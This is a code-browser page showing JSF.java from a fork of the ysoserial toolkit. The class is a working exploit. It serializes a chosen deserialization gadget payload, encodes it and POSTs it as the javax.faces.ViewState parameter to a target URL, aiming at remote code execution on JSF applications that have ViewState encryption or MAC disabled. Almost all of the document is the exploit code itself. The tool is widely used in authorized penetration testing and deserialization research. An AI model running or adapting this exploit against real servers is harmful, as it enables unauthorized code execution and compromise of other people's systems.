MCPcopy Create free account
hub / github.com/Y4er/ysoserial / JSF

Class JSF

src/main/java/ysoserial/exploit/JSF.java:33–76  ·  view source on GitHub ↗

JSF view state exploit Delivers a gadget payload via JSF ViewState token. This will only work if ViewState encryption/mac is disabled. While it has been long known that client side state saving with encryption disabled leads to RCE via EL injection, this of course also works with deseria

Source from the content-addressed store, hash-verified

31 * @author mbechler
32 */
33public class JSF {
34
35 public static void main(String[] args) {
36
37 if (args.length < 3) {
38 System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
39 System.exit(-1);
40 }
41
42 final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
43
44 try {
45 URL u = new URL(args[0]);
46
47 URLConnection c = u.openConnection();
48 if (!(c instanceof HttpURLConnection)) {
49 throw new IllegalArgumentException("Not a HTTP url");
50 }
51
52 HttpURLConnection hc = (HttpURLConnection) c;
53 hc.setDoOutput(true);
54 hc.setRequestMethod("POST");
55 hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
56 OutputStream os = hc.getOutputStream();
57
58 ByteArrayOutputStream bos = new ByteArrayOutputStream();
59 ObjectOutputStream oos = new ObjectOutputStream(bos);
60 oos.writeObject(payloadObject);
61 oos.close();
62 byte[] data = bos.toByteArray();
63 String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
64 os.write(requestBody.getBytes("US-ASCII"));
65 os.close();
66
67 System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
68 } catch (Exception e) {
69 e.printStackTrace(System.err);
70 }
71 Utils.releasePayload(args[1], payloadObject);
72
73 }
74
75
76}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected